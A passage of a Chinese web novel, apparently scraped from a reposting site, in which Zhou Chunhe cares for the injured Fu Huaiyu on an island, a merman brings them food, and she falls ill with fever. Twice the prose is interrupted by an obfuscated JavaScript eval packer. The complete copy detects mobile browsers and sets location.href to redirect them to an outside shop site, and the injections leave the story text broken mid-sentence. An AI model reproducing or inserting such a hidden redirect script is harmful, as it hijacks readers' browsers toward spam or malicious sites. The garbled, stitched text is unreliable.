刚刚光想着时玄了,谁知道却忘了这片水中不止有蛟龙,还有鲛人。而鲛人也是个不小的威胁。 周春和想起来了王宽冬曾经说过的话,鲛人偶尔会上来吸食人类的灵魂为食,那现在手无缚鸡之力的周春和加上一个昏迷不醒的傅怀玉,岂不是鲛人眼中一个已经摆好盘的大餐? 湖中的鲛人不知道有多少,刚刚它们还有那么多同伴死在了人类手中,现在他们两个人落单了,它们就算是吃饱了暂时不想吃他们的灵魂,那也会为了给自己的同伴报仇不会轻易放过他们的。 周春和想到这里,冷意就从头冒到了脚。 她下意识地紧紧攥住手里的符纸,身影在夜色中显得无比孤单,却依然倔强的不肯后退半步。 她颇有些视死如归的想,哪怕是真的要死在鲛人手中,她也要替傅怀玉挡一挡。 就在她胡思乱想的时候,刚刚那个下海的鲛人再次冒出了头,这次它小心翼翼地躲在一个石头后面,只探出一个脑袋。即便是这样,周春和也不敢轻举妄动,她僵硬的站在原地,直勾勾地盯着那个鲛人。 可想象中的呼朋引伴的场景并没有出现,而且出乎周春和意料的是,那个鲛人朝她丢了一条鱼上来。 鱼是刚捕的,还活蹦乱跳,在岸上不住的扑腾。 周春和愣了半天才反应过来那鲛人藏在石头后面,仅仅是想给她一条鱼。 只是,它给周春和鱼干什么? 周春和脑海里一时间闪过很多思绪,最后,一个大但的念头逐渐变得清晰起来,并且牢牢占据了周春和的大脑——这个鲛人是猜到她饿了,所以想捕鱼给她吃吗? 周春和咽了口唾沫,肚子应景的咕咕叫起来。但她迟迟不敢去拿那条鱼,因为她还是觉得自己的这个念头太匪夷所思了,万一人家根本就没有这么想呢?万一这是个陷阱呢? 可是……周春和脚步动了动,她心中天人交战,一时间犹豫至极,她明知道自己不该轻举妄动,但不知道为何一种劝她去拿的念头越来越强烈。 那个鲛人就一直躲在石头后面,也不发出声音,睁着一双亮晶晶的眸子悄悄地偷看周春和。 又做了半天的思想斗争之后,周春和咽了口唾沫,眼一闭心一横,还是迈出了第一步。这样一直耗下去也不是办法,她要看看这个鲛人究竟想干什么。 她小心翼翼地挪过去拿起那条依然活跃的鱼,还是没忍住检查了一遍,这鱼确实没什么问题。可周春和又犯了难— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周春和心中蔓延上了一股说不清的情绪,或许是一个人独自抗下这一切实在是太孤单了,又或者是远离周夏莲和那些熟悉的亲朋好友的后遗症此刻终于爆发出来,再或者是,明明他们这些人是眼前鲛人的杀亲仇人,可在周春和走到绝境之时第一个过来帮她的却是这些鲛人,所以让她觉得百般不是滋味……总之看着那个贝壳,周春和心里涩涩的,像是石头划过砂纸,心头尖锐的疼痛起来。 她的眼圈湿润了,鼻头酸酸的。她很快走过去将贝壳拿起来,又看了一眼那个鲛人。鲛人依然躲在石头后面,眼睛亮晶晶的看着她,见她把贝壳拿走了,这才一个鲤鱼打挺重新钻进了湖中,一下子就不见了踪影。 周春和下意识地“哎”了一声,但是鲛人已经消失不见了,只剩下原地一圈圈荡漾开的波纹。 她站在原地愣了好久,确定鲛人不会再出现之后,这才慢慢的走进了洞内。 虽然这鱼已经被处理好了,但是周春和依然没有生火的东西和材料,她的头晕越来越严重,便直接拿着一片生鱼肉放进嘴里。 可想象中的腥味并没有出现,这条鱼的鱼肉很嫩,肉质细腻,而且一点也不腥,哪怕是生吃也非常好吃。周春和没吃过这样的鱼,忍不住多吃了一口。 吃了两块之后,周春和就没再继续吃,她准备把剩下的全部留给傅怀玉。 她将鱼小心的放在洞里的另一边,然后才回来继续躺好。 她侧着头,就着透过石头的缝隙洒进来的一点月光看着傅怀玉那种恬静安宁的脸庞,他安安静静的躺在这个安静的洞里,脸庞生动鲜活,就像是下一刻就可以醒过来了一样。周春和看着看着,眼泪就又涌了上来,但她很快就若无其事的擦干净眼泪,靠着傅怀玉闭上眼睛。 周春和这一觉睡得很沉,她做了好几个噩梦,醒来的时候,天已经完全亮了。她揉了揉因为没睡好而有些浮肿的眼睛,偶然间一转头,毫无防备的对上了原本睡在身侧的傅怀玉那双清凌凌的漂亮眼睛。 63. 枇杷府 周春和不可置信的揉了三次眼睛,还忍不住狠狠掐了自己一把,见傅怀玉依然靠在温柔的注视着他,这才终于愿意相信自己此刻不是在梦中。 于是周春和鼻子一酸,又非常没出息的开始扯着嗓子哭起来。哭泣是周春和此刻唯一可以表达情绪的方法,这两日的担惊受怕和委屈现在一股脑儿的涌了上来,周春和想着傅怀玉躺在洞里一直不醒的模样,直到现在回忆起来还是觉得无比后怕,恨不得当场抱着傅怀玉哭声三天三夜。 傅怀玉便替她擦泪,静静的陪在她身边,耐心的等着周春和发泄情绪。他的眼神依然是那么的温柔,看着周春和的时候,眼底还带着一丝不易察觉的哀伤。 周春和嚎了几嗓子宣泄够了自己的情绪之后,也就逐渐平静了下来。 眼下还有更重要的事情要做,傅怀玉的虽然醒了过来,但他身上的伤口还在。周春和得趁着傅怀玉醒着,让他教自己分辨乾坤袋中哪种草药可以疗伤,趁着现在天亮着,周春和要赶紧把草药处理好。 而且傅怀玉刚醒,现在身体正是无比虚弱的时候,还要赶紧补充一点营养才行。 不过就是可惜这里没有柴火,而火焰符昨夜已经全部用完了,长明符也就只剩下一张。不管是想煮东西还是想煎药都非常麻烦。一会儿得看看傅怀玉的乾坤袋里有没有可以直接捣碎外敷的草药,要不然就连煎药都是个问题……这么想着,周春和走到另一边把自己小心放好的鱼肉拿了出来。 所幸小岛上的温度不高,到了夜里洞内更加阴凉,所以鱼肉放了一夜也不会变质,要不然傅怀玉真的就得吃草了——吃乾坤袋里的花花草草。 等她回去的时候,发现傅怀玉又躺了会去——他伤的太重了,元气大伤,现在对他来说就连坐着甚至都有些困难。 傅怀玉静静的躺在冰冷的石头上,漂亮的长发散落一地,又沾上了很多的灰尘。他注视着石洞的顶端,一点声息也没有,不知道在想些什么。 他的伤口虽然已经愈合,但是衣服上的血迹依然还没有来得及洗掉,他被污秽的衣服裹着,躺在遍布灰尘的简陋洞穴之中。狼狈、困顿,身体上的伤痛似乎延申到了心里上,他现在什么也做不了,甚至不知道自己的身体究竟被伤到了哪种程度。他活着就只能拖累周春和,但这是他最不愿发生的事情。他不愿自己不堪的一面展现在周春和面前,他不该是这样的,周春和也不该见到这样一个自己。 若是她当时杀掉自己就好了,若是一切止步于那一刻就好了。既然不确定能不能成为周春和心中的第一无二,那么还不如让他死在周春和手里,让他在周春和心里留下的只有做好最完美的形象,这便是他梦寐以求的事情。 周春和虽然不会铭心刻骨的爱他,但是会永远的记住他,会彻彻底底的、永世难忘的记住他。 这样就可以了,这样对他来说就已经足够了。 杀他或者是爱他,对傅怀玉来说都是证明感情的方式,他不介意周春和用哪一种,他要的从来都不是细水长流,他只要猛烈的情感、可以席卷一切将人溺毙的感情,他渴望不掺杂任何杂质的暴烈的爱。要么爱的极致,要么恨入骨髓,他内心的阴暗和表面的温润如玉从来是两个极端。一个疯狂至极,一个温柔善解人意,这两个都是他,但又不全是他。他是个夹杂在这两种截然相反的情绪里的怪物。 死亡只是一种手段,一种成为周春和心中不可或缺的存在的手段,他甚至渴望死在周春和的手里,成为她心中永远不会败的一朵带着血腥的花。与其等待一个不确定的结果,他更希望自己成为第一个死在周春和手中的人,以他现在和周春和的关系,只需要最后这一个契机,那么他就会大获全胜——周春和一辈子也不可能再忘记他了。 周春和不知道傅怀玉在想什么,但她可以隐约猜到傅怀玉真正的想法,而她也是直到此刻才窥见了一点傅怀玉的内心。她看着傅怀玉,并不觉得傅怀玉的想法可怕,她仅仅只是觉得心里特别难受。 有那么一瞬间,周春和觉得傅怀玉不应该属于这个地方,甚至都不应该在这样破败的地方出现。他不该这样的,不该被世俗的尘埃玷污,这样如同月光般皎洁的人,就应该永远端坐在云端之上,而不是被人踩进污泥里。 两个人各怀心事,周春和沉默着走过去,她坐在傅怀玉身边,隔了好一会儿才开口:“吃点东西吧?你得补充点体力,等你的伤再好一些,咱们就从这里离开。” 傅怀玉的目光动了动,他依然躺在肮脏的石板上,眼睛像是蒙着一层灰蒙蒙的阴翳:“……一箪食,一豆羹,得之则生,弗得则死。呼尔而与之,行道之人弗受;蹴尔而与之,乞人不屑也……谢谢你,春和,但我还不是很饿。” 周春和隔了很久都没有说话,她知道傅怀玉真正的意思,傅怀玉不想在自己面前露出这么狼狈和脆弱的一面,他不想让自己看起来像是个废物,只能依附于周春和生活。他已经没有多少活下去的渴望了,因为他在意周春和对自己的看法,已经超出了他自己生命的重量——或者说是他从来就没有看重过自己的命过,他是如此轻视自己,此时在身体和心里的双重打击之下,他对“活着”这件事已经没有任何强烈的愿望。 他喜欢周春和,高达百分之九十五的好感度摆在那里,让感情变得可以计量,而且也可以让周春和更加直观的感受到傅怀玉藏在平静湖面下那汹涌澎湃的爱意。如果没有这个好感度,如果没有经历这几天的事情,那么她还需要多久才能看见傅怀玉的感情呢?她不知道,但她知道,不管多久傅怀玉都只会安静的守在她身边。 他有自己的坚持,有自己的骨气,即便是在这个时候,他也只是想将自己最好的一面留给周春和。 他早已抱着必死的决心,在时玄出现的时候,他就已经这么想了,如果现在死掉,那么留给周春和的就只是美好的回忆,可现在让这份回忆填上了一份污点。而他要做的,就是亲手来解决掉这个污点。 周春和抹了一把脸,忍着心痛沉下声音说:“傅怀玉,我知道你在想什么,但我是不会让你如愿的,如果你死在这里,我既不会恨你也不会原谅你,我会马上出去找新欢,然后把你抛诸脑后,我不会和任何人提起你,也不会再想着你。如果你好好活着,那么我就会……就会……” 傅怀玉脸上不再有笑意,他轻轻的转过头,静静的看着周春和,接上了她没有说完的话:“……会爱我吗?” 这句话出口,两个人都怔了怔。 这是他们之间第一次提起“爱”这个字,这也是周春和穿到这个世界之后,第一次从自己的攻略对象口中听见这个字。假如是一开始的周春和听见这番话,那么她肯定会觉得无比开心,因为那个时候她还没有对这个世界、对这个世界的人倾注任何的感情,那个时候她脑子里只有一个念头,那就是赶紧从这里离开,不管付出什么样的代价。 两个男配对她来说只是达到目的的一种手段而已。如果他们和自己说“爱”,那就只能证明一件事,那就是自己的任务就要成功了,她马上就可以回到现实世界。可是经历了这么多事情之后她再听到傅怀玉和自己剖白心迹,周春和第一反应竟然是涩然。 傅怀玉还不知道周春和一开始待他那么好只是因为他是她的攻略对象,傅怀玉身上有周春和需要的东西,所以她才费尽心机的靠近了傅怀玉。傅怀玉对她是纯粹的爱,可她一开始却抱着利用傅怀玉的心思。 周春和心中阵阵钝痛,她不敢想傅怀玉知道这一切之后会是什么心情,更不知道如果她从这个身体里面抽离之后,傅怀玉会怎么样。 甚至是哪怕是现在周春和觉得无比愧疚、无比难过和心疼,她也没有办法向傅怀玉做出任何承诺。 不管是谢斯年还是傅怀玉,周春和都没办法保证自己对他们的爱。 看着傅怀玉那双殷切期待她回答的视线,周春和甚至不敢再和他对视。 她甚至没有办法向傅怀玉承诺某些事情,因为她不知道傅怀玉对自己的好感度什么时候会上升,而她自己什么时候又会从这个世界离开。如果她贸然答应了傅怀玉,说不定下一刻这个身体里面的灵魂就会换成另外一个……她做不到全心全意的一直爱着傅怀玉,所以此刻面对傅怀玉那双饱含期盼和 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周春和鼻子一酸,再也忍不住自己内心的酸楚,她的眼眶逐渐湿润,但她依然无比倔强的不让眼泪掉下来:“如果你真的……那你就从这里活着出去,只有活着才有希望,只有活着才能做成想做的事情。”停了一瞬,她很倔的扬起自己的脸,又继续生硬的说,“傅怀玉,不管你信不信,但我……我暂时给不了你任何承诺,我不想骗你,我也不愿意编造什么美好的故事。可是有一句话我可以实话回答你,只要我还存在,只要你还愿意,那我们就可以永远不分开。” 这一刻,管他什么任务和系统,周春和全部抛却了,她决定跟着自己的心走一回。她做不了承诺,但她却可以告诉傅怀玉她内心真实的想法。 傅怀玉静静的凝视着周春和,他的眸子终于逐渐变得明亮起来。 他脸庞中的死气沉沉随着周春和的一席话慢慢的退却,暖光在他眸中重现。 还没等傅怀玉说什么,周春和一抹眼睛,又急又快、凶巴巴地说:“快吃,如果你不能从这里活着离开,那我就收回我刚刚的话!并且,”周春和露出一个恶狠狠的表情威胁傅怀玉道,“我还要左拥右抱、家里一个外面一个,阿姐家再放一个!到时候就再也没有你的位置了,不管你再怎么求我,我都不会再回头!” 傅怀玉忍不住很轻很轻的绽放出一个笑,笑过之后,又忍不住咳嗽起来。 周春和立刻扶着他坐起来,眼圈红红的帮他轻轻拍了拍背。 周春和说出自己的心里话之后,傅怀玉的身上似乎又迸发出了光彩,周春和感觉到他活下去的意愿似乎明显了些,起码不再像刚醒来那样一心求死了——具体表现为周春和喂他吃东西他肯吃了。 能吃就好,能吃就证明有活下去的心劲儿了。周春和喂的笑容满面,恨不得把全世界的好吃的都捧到傅怀玉的面前让他吃下去。 不过傅怀玉只吃了一点便停住了,周春和还想继续喂,就见傅怀玉看着她,眼睛亮亮的:“我吃好了,其余的你来吃掉吧。” 傅怀玉就吃了那么一点,周春和不信他吃饱了。他一定是想留给周春和吃,所以才这么说的。 周春和知道自己再劝下去也不会有用的,就像是昨晚她也只吃了两口就不吃了一样,他们都想把最好的留给对方。 她想了想,很快想出来一个办法。她将贝壳中的鱼肉平均分成两份,有些兴奋的和傅怀玉说:“那我们一人吃一半,这样总可以了吧?吃完之后你教我认草药。不许任性,也不许说‘不’,更不许再寻死。你要乖乖听话,要快快恢复过来啊,这样我们才可以早点回去,出去之后我们还要看遍大好河山,然后再去猎妖,一路上替天行道,惩恶扬善!等我们七老八十了,就搬去湖边住着,每天欣赏美人美景……傅怀玉,只有好好活着,你才能得到你想要的一切,所以答应我,不管以后怎么样,都不要再轻易有这个想法,好吗?”她的声音很轻,安静的看着傅怀玉,继续说,“……就当是为了我。” 傅怀玉看着表情诚挚的周春和,有那么一瞬间,他似乎听到了什么东西破土而出的声音,周围忽然安静下来,一切的声音和色彩全都好像消失不见,他只能看见眼前正安静注视着他的女孩,而女孩眼中还有没有擦干的眼泪。 很久之后——似乎只有几秒钟的时间,又似乎过了好几年,他才听见自己听起来还算平静的声音:“好……我答应你。” 64. 枇杷府 两个人靠在一起分享同一块鱼肉,周春和便随口将这鱼肉是怎么来的一五一十的告诉了傅怀玉:“……说起来昨天那个鲛人还给了我一条完整的鱼,不过我没找到工具处理那条鱼,就暂时放在外面了,等一会儿出去看看能不能找个锋利的石头把鱼割开。” 傅怀玉听完却是沉默了片刻,周春和察觉出不对,奇怪的问道:“怎么不说话?” 傅怀玉温和一笑,这才开了口:“我只是有些奇怪。” “什么?” “若是鲛人想为族人报仇,又或者是想吸食人类的灵魂,那么昨晚是个最好的时机。我只是觉得奇怪,为什么鲛人不仅没有趁着我们最势单力薄的时候对我们动手,反而要救下我们?它不害怕我们好了之后继续伤害它的族人么?” 其实昨晚周春和也有这么一个疑惑,只不过那个时候傅怀玉晕倒这件事占据了她大部分的思绪,她虽然察觉出来不对劲,但是根本没有工夫仔细想。如今傅怀玉提了出来,昨晚的疑惑也再次涌上周春和的心头:“我昨晚见到那个鲛人的时候,也觉得不对劲,我本来以为是什么新型陷阱,但后来我能看出来那个鲛人并没有恶意,它真的只是想帮我们而已。而且,鲛人一族似乎并不像是王宽冬说的那么可怕,它甚至知道我们没有工具去处理自己的鱼,还准备了一条已经全部弄好的鱼给我们……” 隔了一会儿,傅怀玉说:“到现在为止,我们所有关于鲛人的消息都是从王宽冬那里听过来,而且也从来没有机会去查证。” 周春和愣了一下,很快明白了傅怀玉的意思:“你的意思是,王宽冬很有可能会借着信息差骗我们?” “不是没有这个可能。但如今在这里干想也找不到真相,等从这里离开之后,我们得仔细查查王宽冬。” 听到这话,周春和脸上忍不住带了点笑——既然傅怀玉说了以后,那么就说明起码在此刻傅怀玉是真的想为未来打算的,那也就意味着傅怀玉有了活下去的决心。 吃了点东西之后,傅怀玉有了些力气,可以坐起来休息,甚至可以四处走走。 周春和迫不及待地让傅怀玉为自己找药,傅怀玉给她指了几个:“只是这几味药最好可以煎服,不然只外敷的话,痊愈的时间就会变得非常长。” 周春和立刻垂头丧气的说:“可昨天我已经翻遍了这座岛,根本没有一点儿可以烧的柴火,这可如何是好啊?” 傅怀玉温柔的说:“不急,我有办法。” 周春和愣了愣,似乎觉得有些难以置信。她忍不住环顾四周,确实没发现什么可以拿来烧火的,于是将信将疑道:“你们有什么办法?难不成你忽然发现这岛上有那种可以直接拿来烧火的石头?” 傅怀玉忍不住笑了:“这样的石头我确实没有听说过,不过我有别的方法。” 他拿出自己的乾坤袋,除了留下几味一会儿会用到的药材之后,将里面不多的几颗树苗连根拔起,再用符纸将水分抽干,于是几个新鲜出炉的柴火就做好了。 周春和在一旁看的目瞪口呆:“……还能这么操作?” 傅怀玉轻轻笑了:“这么多应该已经足够了。走吧,我来烧火,你在一旁放药材就好,要小心被烟熏到眼睛。” 两个人避开风口,支起一个简单的灶台,将昨天那个鲛人拿来的贝壳放了上去。 原本周春和还担心这个贝壳会被烧火,提心吊胆的看了一会儿之后,就发现除了被烧黑了点,这个贝壳并没有碎裂的痕迹。虽然不知道这个贝壳为什么会如此神奇,但周春和好歹是放心了——未来的几天他们都可以用这个贝壳煮东西了。 煎药的时候,傅怀玉坐在一侧烧火,周春和就在靠在他身边用一根长条形的石头搅拌里面的药材。 微风吹散冒起的白烟,草药逐渐发出一种独特的药香味。听着海浪阵阵,感受着舒服的海风吹拂……自从来到这里之后,周春和第一次从心底里感觉到了放松。 两个人有一搭没一搭的聊起天来,傅怀玉满怀歉意的说:“说起来时玄的事情其实是因我而起,只是连累了你,这几日一直在担惊受怕。” 周春和原本还以为时玄是针对自己来的,现在才明白原来他是为了傅怀玉,自己只不过是因为一直跟着傅怀玉被捎带着遭了这趟老罪。不过好在现在都平平安安的,而且傅怀玉也醒过来了,周春和也就不觉得有什么了。她的关注点在别的事情上面:“……不过我还没有问过,这个时玄究竟是什么人?为什么那天看起来你们好像有什么深仇大恨的样子?” 傅怀玉沉默了一会儿,就在周春和都已经准备好了要说“既然你不想说那就别说了,反正我也没有很想听”,结果就听见傅怀玉开了口:“曾经我们因为误会杀掉了对方的族亲,那一战使得蛟龙一族元气大伤,从此潜入深海休养生息。从那以后,盛极一时的蛟龙一族便没了声息。也就是因为那次战争,我与时玄从此便势不两立。” 周春和沉默片刻,没继续追问傅怀玉的亲人怎么了,因为他怕触碰到傅怀玉的伤心事。她想了想,转而问道:“我听你叫时玄‘师兄’?你们曾经师出同门吗?” 傅怀玉点点头:“是啊,不过这都已经是很久之前的事情了……世事变迁,如今我与他也都发生了翻天覆地的变化。” 周春和听出傅怀玉话中有因,一时间还真有些好奇起来,但这毕竟是人家的私事,而且说不好还涉及到人家的伤心事,周春和犹豫了一会儿,还是没再继续追问。 两人一同沉默了片刻,没想到傅怀玉倒是又笑着开了口:“……你没有什么要问我的吗?或者是……你没有什么想和我说的吗?” 你不想问问时玄口中那句“利用你们”究竟是怎么回事吗?你不好奇我究竟还有什么瞒着你吗? 你会怀疑我居心叵测吗? 周春和沉默了一会儿,有些不太好意思启齿似的犹豫着开了口:“其实确实有个问题一直想问你来着,但是一直也没好意思开口。” 傅怀玉了然的微微笑了笑:“好,你问吧,我在听。” 他等着周春和问他他以为的那些问题。如果周春和不信任他,他也能完全理解,毕竟不可能有人在经历了这一切之后还能再全心全意的相信另外一个人,更何况时玄的话也并非空穴来风。 他已经准备好了周春和可能会对他的盘问,结果就听见周春和一本正经的看着他说:“原来你说话是那个声儿啊?” 傅怀玉一时没反应过来,脸上温和的笑容僵了僵:“什么……?” 周春和又专心去拨弄草药了,嘟囔道:“原来你平常和我说话的时候都是夹了的啊?……你和时玄争执的时候才是本音……咱们在一起这么久,我还是第一次听到你真实的声音……” 傅怀玉:“……” 他的笑容停在了脸上。在那一瞬间,傅怀玉心里想的是,周春和还不如问他刚刚他以为的那些问题。 好在傅怀玉很快就反应过来,脸上又带上了那种温柔到无懈可击的笑容:“咳,是吗?其实我很少用和时玄说话时的声音和别人说话,除非是在危急的情况下……春和,你觉得我和你说话的声音和别人不同么?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609085|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>周春和看着他脸上温柔的笑,烟雾袅袅里,傅怀玉身后倒映着粼粼波光,衬得他唇红齿白,貌若天仙。他将手半掩在唇边,眼睛如同一汪碧水,比水光还要潋滟。周春和呆住了。 傅怀玉依然笑着看着她,表情温柔,那双浅色的眼睛欲语还休,仿佛泛着水光:“就连我自己也没有察觉……或许是我在面对在意的人时,会不自觉的放柔声音吧。只希望我这样发自内心的感情不会让姑娘觉得不自在。” 周春和结结巴巴的说:“没、没有,你别多想……我不会觉得我不自在的……咳,我就是这么随口一说……” 傅怀玉笑了,半垂下眼眸:“那就好。” 周春和挠了挠头,似乎还没有从刚刚傅怀玉那双潋滟的眸子里回过神。 两个人聊着天,很快就煎好了药,周春和又捣碎了几株外敷的药,然后便要让傅怀玉赶紧把这个新鲜出炉的药喝了。 谁知道傅怀玉却没动,只是轻笑道:“这是给你熬的,你快将这药喝了吧。” 周春和愣了愣,没明白傅怀玉的意思:“什么我的药?这不是给你熬的伤药么?我哪里受伤了?” 刚说完周春和便反应过来了,时玄出现之后,确实差点打碎保护阵杀了她,虽然她最后在傅怀玉的保护下性命无虞,但也受了点伤,甚至还吐了口血。 不过后面许多事纷至沓来,周春和哪里还有空顾及自己的伤口,直到此刻,若不是傅怀玉提起,她大概依然想不起来。 周春和一时间不知道该感动还是该生气,傅怀玉伤得这么重,可却还是一直想着她,连自己身上的伤都丝毫不顾及……周春和收起脸上的感动,故意凶巴巴的说:“我让你给自己熬药,为什么要熬给我?我身体很好,根本不需要吃药……好不容易熬了这么久的药,现在又得重新熬了吧!傅怀玉,要是你以后再不在乎自己的身体,我也是会讨厌你的!” 傅怀玉却轻轻笑了:“没关系,我们再重新煎一副药就是了,我喜欢和你呆在一起的感觉,不管是做什么都无所谓。” 周春和顿时说不出话了,面对着傅怀玉像个新兵蛋子似的脸颊通红,嗫嚅道:“你想煎药……那咱们再继续煎一副就是了……咳,反正也不费事。” 两个人又重新煎好了药,周春和监督着傅怀玉喝的一滴不剩之后,还没忘记去找工具把昨晚的那条鱼开膛破肚、刮完鱼鳞。她干脆就着贝壳里面剩下的药渣煮了一锅药香四溢的鱼汤,和傅怀玉分着喝完了。 吃饱喝足还上了药,周春和的心情非常之好。只可惜那个鲛人今天却没有再露头,周春和原本还想着等它出来看看能不能和它比划着交流一下,谁知道也没等到人来。 不过鲛人很有可能喜欢在夜晚出没,毕竟它昨天就是在晚上来的。周春和便准备暂时将这件事先放一放,等晚上再说。眼下还有另外一件更重要的事情——煎完药煮完鱼汤之后,她身上又沾了很多灰尘和草屑,而且傅怀玉身上的外衣和她的那件外袍依然全是血,她想将衣服洗一洗,再简单的洗个澡,然后就可以好好的休息一下,静待明天看看傅怀玉的情况如何。 看样子如果照这样下去,用不了几日他们便可以从这里离开了。 周春和想到这里,心中便充满了希望。虽然刚开始的那股眩晕感依然还时不时的就会出现一下,但周春和的心情现在已经完全被马上就可以见到周夏莲的喜悦占据,根本没有往其他方面想,依然还以为只是因为自己这几天作息不规律导致低血糖犯了而已。她没当回事,和傅怀玉说了一声之后,便准备先去简单擦拭一下自己。 65. 枇杷府 湖水不算冷,周春和随手洗了自己的衣袍之后,准备用衣袍将身上简单的擦一擦。 擦着擦着,那股眩晕感便再次袭来。这次的眩晕感来势汹汹,周春和差点没忍住直接跌进水里。 好在她已经擦干净穿上了里面的衬衣,周春和扶着石壁慢慢的想往洞里走,还未走完一半的路程,便眼前阵阵发黑。她实在是有些撑不住,靠在石壁上缓了半天依然还是有些腿软。 她实在是有些撑不住了,张了张嘴想叫傅怀玉,可是眼前却一阵阵的发黑。她想吐,眉心间有股难言的恶心难受感。她顺着墙根坐了下来,不知道过了多久,她感觉到自己似乎被什么温暖的东西包裹住了。 周春和费劲睁开眼皮看了看,傅怀玉那张微微皱眉的脸庞映入眼帘。 傅怀玉抱着周春和,刚一碰到周春和便忍不住有些怔愣——周春和浑身滚烫,显然发烧已经很严重了。这次擦拭的时候估计又吹了冷风,导致周春和现在连站都有些站不稳。 周春和眼皮沉的要命,即便是费力睁开眼睛也只能模模糊糊的看见傅怀玉的轮廓,她想说什么,但又实在是没有力气。 她只能感觉到傅怀玉似乎用冰冰凉凉的手摸了摸她的额头,紧接着,周春和便感觉到自己落入了一个温暖的怀抱。这个怀抱实在是太舒服太温暖了,周春和的大脑迷迷糊糊的,本能的想要寻找这点热源,她蹭了蹭这个温暖的怀抱,被更用力的回抱了过去。但是还没等她做别的,她眼前一黑,紧接着便失去了意识。 怀里的女孩已经完全陷入了昏睡,傅怀玉小心翼翼地抱着她走到了洞内。 少女刚刚洗完澡,身上只穿了一件单衣,傅怀玉抱着她的时候,能感觉到她柔软的身段和滚烫的皮肤。女孩的皮肤确实比男孩的柔软很多,而且也娇嫩很多。这是傅怀玉第一次这么完全的触碰到周春和的皮肤,要不然也不至于直到现在才刚发现周春和发了高热。 刚碰到周春和的时候,他甚至不知道该用什么姿势抱着她,好像怎么抱着都不合适,但现在他已经可以自在的抱着周春和,不像一开始那样手足无措了。 他第一次这么直接的接触女孩,所以在“亲密”触碰的时候,常常不知道接下来该做什么。如果周春和看到他现在的样子,肯定又会取笑他。 毕竟傅怀玉给人的感觉永远都是游刃有余、云淡风轻的,很难想象他也会有这样束手束脚的时刻。估计就连周春和都想象不到原来傅怀玉看起来很有对待女孩子的经验,可实际上的他却是一张和周春和一样的白纸。 不过傅怀玉又想,还好现在周春和看不见。 · 不知道睡了多久,周春和终于迷迷糊糊的转醒了,她朦胧的睁开眼睛,隐隐约约的看到了火光。 这一觉睡得简直可以称得上是酣畅淋漓,而且醒来的时候没有那种睡不够的难受感,更没有睡久了的疲惫感,总之一整个人简直是神清气爽。 她身上那股沉重感此刻似乎也消散了很多,仿佛身体都变得轻快起来。 等大脑稍稍清醒了一些,周春和便下意识地四处望去。原来她还在岛上的那个洞中,现在天已经黑了,只不过在她睡觉的旁边燃着火焰,所以洞内既明亮又温暖。 等等……周春和懵了两秒,这才后知后觉的反应过来:“……火焰?” 不对,这里怎么还能生火? 她四处看了看,果然看见傅怀玉就在她身边挨着她坐着,此刻正安安静静的看着她。 见周春和看过来,傅怀玉轻轻笑了:“有没有觉得好受点?头还晕不晕。” 周春和的额头上和脸颊上都敷着东西,她边坐边将脸上的东西摘下来,原来这些事傅怀玉做的简易草药贴,大概是促进降温的。 她打了个哈欠,觉得自己身上轻便了不少,抬手摸了摸自己的额头,虽然还是比正常体温热一点,但比刚刚来说已经好多了:“好多了。我说这两天怎么一阵阵的头晕,做什么都不得劲儿,原来是发烧了……” 傅怀玉温声道:“下次有不舒服的地方记得及时告诉我,哪怕只是有点累了、或者是觉得疲倦了,不要自己强撑着。” “我知道啦。不过这堆柴火你是从哪里弄的?” 傅怀玉往周春和身边靠了靠,他坐在火焰边,眼底有熊熊烈火的倒影:“我把乾坤袋里的作物都抽干了汁水,有了这些东西,足够火焰燃烧一夜了。” 说着,他又从身侧堆了半人高的柴火里抽出两根扔进了火堆里。 周春和愣住了,下意识的从傅怀玉的腰间拿过乾坤袋看了一眼,果然如傅怀玉所说,原本还满满当当的那些花草树木已经全部消失不见,只留下光秃秃的土壤和……和最后的也是唯一的一朵折腰花。 这是周春和曾经万分期待的折腰花,所以傅怀玉摘掉了所有的东西,唯独只留下了这朵周春和说过“喜欢”的花。 周春和抬头看向傅怀玉,他正往火堆里面添柴,温润的脸庞被火光照映着,显得格外温柔和恬静。他安静的往火中添柴,眸子里似乎有明亮的倒影。 他的动作很平静,表情也无比平静,就好似这只是一件再普通不过的小事。 可周春和反应过来之后,却觉得心里发涩。 她知道傅怀玉有多么喜欢这些花花草草,更知道傅怀玉寻找这些东西花费了多长的时间和精力。他花了很长的时间——或许有十几年,孜孜不倦的寻找这些东西,到如今他终于小有所成,可是为了让周春和睡得更舒服更暖和,为了让周春和好得快一点,他一把火烧光了自己十几年的心血。 周春和不懂得自己搜寻了很多年的心爱之物被一朝焚尽是什么感觉,但她想,大概和亲眼看见自己的绝版谷子、绝版周边、最爱的明星的绝版签名、最爱的作者的绝版签名、最爱的绝版小说、绝版的实体专辑(亲签版)、绝版的明星小卡、现充的金钱等被烧掉的感觉是一样的吧?她看向傅怀玉,而傅怀玉的表情异常平淡,似乎完全不在意自己现在在做的事情。 他被笼罩在温暖的火光之中,火星和灰尘在他周围上下翻飞,让他有种不切实际的梦幻和朦胧。 察觉到周春和一直在看他,傅怀玉转过头,笑眯眯的问:“怎么了?” 周春和收回视线,傅怀玉对她越好,她心里反而越不是滋味。她明明该开心的,看到自己一步步攻略下傅怀玉,她明明应该感觉到开心的,可不知道为什么,她却反而觉得心里很难受,像是时时刻刻被一个大石头压着……她不知道自己这是怎么了,但就是无端觉得难过。 她的声音闷闷的:“没什么……我只是,只是心疼你努力收集这些花草收集了这么久,可是现在却……却一把火将一切都付之东流。” 